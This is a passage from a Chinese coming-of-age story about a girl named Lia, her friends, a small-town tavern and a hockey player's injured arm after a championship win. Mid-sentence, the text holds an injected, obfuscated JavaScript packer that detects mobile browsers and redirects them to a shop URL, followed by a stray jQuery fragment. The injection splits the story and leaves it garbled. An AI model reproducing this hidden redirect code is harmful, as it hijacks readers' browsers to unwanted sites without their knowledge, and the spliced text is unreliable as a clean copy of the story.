日子像月亮湖的河水，不住地往前流淌，秋季的感觉愈发浓厚。
奥黛丽来莉娅家过夜的次数变多了。
她们挤在莉娅那张不算宽大的床上，收音机里播放着最新的流行歌曲，或者一起守着那台小小的黑白电视机，看着画面不时闪烁的喜剧节目，为那些并不高明的笑话笑得前仰后合。
“别动，快干了。”
奥黛丽小心翼翼地捏着莉娅的手指，用小刷子将鲜红色的指甲油涂在她的指甲上。空气中弥漫着香蕉油和糖果的甜腻气味，莉娅看着奥黛丽专注的神情，灯光在她柔软的红色卷发上投下温暖的光晕。
“你说，社团那个新来的乐队主唱是不是对你有意思？”
奥黛丽涂完最后一只手指，压低声音，带着狡黠的笑意问道。
莉娅轻轻吹着指甲，“得了吧，他看每个穿裙子的姑娘都是那种眼神，我敢说他连校长养的那只老猫‘威士忌’都要抛个媚眼。”
两个女孩笑作一团，这是私密的、只属于少女的谈话。
她们会分享对未来的模糊幻想，比如离开小镇，去大城市，做点不一样的事情，尽管不一样具体是什么，谁也说不清。
但这些幻想本身，就像指甲油的颜色一样，为灰扑扑的现实增添了一抹亮色。
鲈鱼喉酒馆依然是莉娅的避风港。
秋意渐浓，希卡索性在酒馆后面空旷的场地上弄了个露天的炭火烧烤架。天气好的傍晚，炭火的哔剥声和烤肉的滋滋声就成了最好的招牌。
这天傍晚，莉娅和奥黛丽一起过来。乔正在尝试他的秋季特饮，一种混合了苹果汁、少量本地威士忌和神秘香料的热饮，他用铜壶装着给每个感兴趣的人倒上一小杯。
乔依旧口吃，但介绍起他的饮品时眼神里闪着光，话语也流畅了不少：“尝、尝看……暖、暖身子，像、像秋天的太阳。”
莉齐穿着一件厚实的格子衬衫，袖子挽到手肘，正站在烧烤架前，熟练地翻动着大块的猪排和香肠，炭火把她的脸庞映得红彤彤的。
看到莉娅和奥黛丽，她立刻用沾着油渍的手一手一个，把两个女孩搂到身边，用力在她们脸颊上各亲了一口，留下一点油印和浓浓的烟熏味。
“我的姑娘们来了，快，刚烤好的肋排，最好的部分给你们。”她不由分说地塞给她们一人一个堆满食物的盘子。
“莉娅，自从开学了，你去钓鱼少了，送来酒馆的鱼都不像你送来的那样新鲜。”
老板希卡咂咂嘴，声音洪亮，引得旁边几张桌子上的常客，大多是些在矿上或木材厂干了一天活、脸上带着疲惫但此刻松弛下来的男人们都转过头来笑。
一个留着大胡子的男人灌了一口啤酒，附和道：“没错，不说假话。有些舌头好的尝过了都知道到底是谁送来的，莉娅钓的鱼，那个鲜甜味骗不了人。知道你今天有没有来，就看盘子里的鱼。”
众人一阵善意的哄笑。
莉娅有些不好意思地低下头，心里却暖洋洋的。在这种地方，她的价值被用一种最质朴的方式肯定着。
通过味蕾，通过劳动。
奥黛丽性格更外向，很快就和酒馆里的人们聊开了，问着比赛的事，问着镇上最近的八卦。男人们也乐意和这两个活泼的少女搭话，说些无伤大雅的玩笑，或者吹嘘一下自己年轻时的“壮举”。
口吃的乔偶尔插一句话，总能引发一阵更欢快的笑声，但他并不介意，只是憨厚地笑着，继续给大家斟满他的特饮或者廉价的啤酒。
炭火噼啪，肉香四溢。
莉娅看着这一切，暂时忘记了利奥紧绷的脸庞、训练后的沉默，以及那句沉重的“我只是很擅长”。在这里她只是莉娅，一个会钓鱼、有个活泼闺蜜、被酒馆老板当女儿疼的普通女孩。
几天后一个消息像野火般传遍了小镇，橡林镇曲棍球队在地区半决赛中艰难取胜，闯入了决赛。
这是多年来的第一次。
小镇沸腾了，一种压抑已久的渴望被点燃。临街的商店橱窗上，出现了手写的“庆祝橡林镇进入决赛，今日九折！”的告示。
酒馆里，已经有人开始嚷嚷着要是赢了冠军，非得“畅饮到天亮”不可。
压力无形中更重了。
莉娅在学校里看到利奥，他的左臂似乎总是微微缩着，训练时脸上的表情更像是在忍受酷刑，而不是享受运动。
但她什么也没说，她知道或许现在此刻任何关于他伤势的关心，在决赛这个巨大的光环下，都会显得不合时宜，甚至是一种冒犯。
决赛那天，学校并没有组织集体去观赛，因为比赛地点在另一个较远的城镇。
莉娅像往常一样上课，但能感觉到整个学校都弥漫着一种心不在焉的躁动。老师们讲课的声音似乎也失去了往日的权威，时不时被窗外可能传来的凯旋车队的声音打断。
傍晚时分，当载着球队的校车缓缓驶回橡林镇时，真正的狂欢开始了。先是几声汽车喇叭的长鸣，接着越来越多的喇叭加入进来。人们从房子里涌出来聚集到主街上，不知是谁搬来了一个旧鼓，咚咚地敲着。
孩子们兴奋地尖叫奔跑。
莉娅和奥黛丽也挤在人群中，她们看到校车车头上挂着象征胜利的绶带，车窗里球员们疲惫却兴奋的脸紧贴着玻璃，向窗外挥舞着手臂。
利奥是最后一个下车的，他脸上没有什么表情，甚至比平时更苍白。
他的左臂，从手腕到肘部都缠着厚厚的白色绷带，在暮色中格外显眼。他被兴奋的队友们推搡着，簇拥着。
霍奇斯教练站在车门口，脸上是压抑不住的激动和宽慰，他用力拍着每一个下车队员的肩膀，但当他看向利奥时，眼神里闪过忧虑。
当晚，鲈鱼喉酒馆果然宣布啤酒“限时优惠”，人声鼎沸几乎要把屋顶掀翻。
但莉娅没有去凑热闹，她独自一人来到了学校的陈列馆。那里白天庆祝的喧嚣还未完全散去，空气中有种灰尘和汗水混合的味道。
在橱窗最显眼的位置，新添了那座闪亮的冠军奖杯。奖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790940|190583||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杯后面，是刚刚挂上去的冠军集体照。照片里，所有的球员都穿着沾满泥土的队服，脸上洋溢着狂喜和疲惫。
霍奇斯教练站在正中间，脸上是完全舒展的笑容。他的右手，紧紧地搭在身边利奥的肩膀上。利奥在照片里，微微抿着嘴，试图挤出一个笑容。
莉娅静静地站在那里看了很久，窗外的欢呼声隐隐传来，更衬得陈列馆里寂静无声。
这座奖杯，这张照片，是橡林镇的荣耀，但对照片中央那个少年而言，又意味着什么？
她想起训练后他说的那句话：“我没那么喜欢，我只是很擅长。”
这句“擅长”的代价，就明明白白地写在那厚厚的绷带上，和那张强颜欢笑的照片里。
夺冠后的狂热持续了几天，但小镇的生活终究要回到原有的轨道。矿坑的哨声依旧准时响起，校车依旧在晨雾中颠簸前行。
只是关于利奥的伤势，开始有更具体的消息流传出来。
霍奇斯教练在狂喜过后，终于正视了队医的严肃报告。利奥的手臂过度劳损加上决赛的激烈碰撞，出现了严重的韧带损伤，必须立即停止一切训练和比赛，进行长时间的休养。
“你这孩子，伤这么重怎么不早说？”据说霍奇斯教练在办公室里又是心疼又是后怕地数落利奥，语气苦口婆心，“你的前途还要不要了，不只是橡林镇，是你自己的未来。万一留下永久性损伤，你以后怎么办？”
这些话语通过种种渠道，碎片般地传到莉娅耳中。她能想象利奥当时的样子，一定是低着头，沉默地接受所有的责备和关心。
利奥被勒令休整。
放学后他也总是第一个离开教室，很快消失在通往镇外的小路上。
莉娅有好几天没正经看到过他，即使偶尔遇见也只是匆匆点头，便与她擦肩而过。
莉娅知道该去哪里找他。
在月亮湖下游有一片少有人至的河湾，需要划小木船，穿过一片生长着茂密水烛和灌木的浅滩，才能到达。
河湾旁有一棵巨大的山核桃树，它的树龄可能比橡林镇的历史还要久远。树干粗壮得需要两三人才能合抱，枝桠虬曲伸展，即使在秋天叶子变得金黄稀疏，也依然有一种庄严的气度。
夏天时它会开出不起眼的穗状花，而现在叶子间还零星挂着一些未被松鼠摘尽的、坚硬果实。树下有一小片平坦的草地，是观察星空和躲避尘世的绝佳所在。
傍晚时分，莉娅推着那艘吱呀作响的小木船下了水。河面很平静，夕阳的余晖把河水染成了金红色，对岸的树林已经笼罩在深蓝色的暮霭中。她熟练地驾驶着船到河湾，果然在那棵巨大的山核桃树下，看到了一个熟悉的身影。
利奥仰躺在草地上，一条腿曲着，另一条腿伸直。他的背包随意丢在旁边，那缠着白色绷带的手臂搭在额头上，遮住了眼睛。
他看起来像是睡着了，胸口的起伏很轻微。
落日的最后一点光芒穿过山核桃树金黄的叶片，在他身上投下斑驳晃动的光点。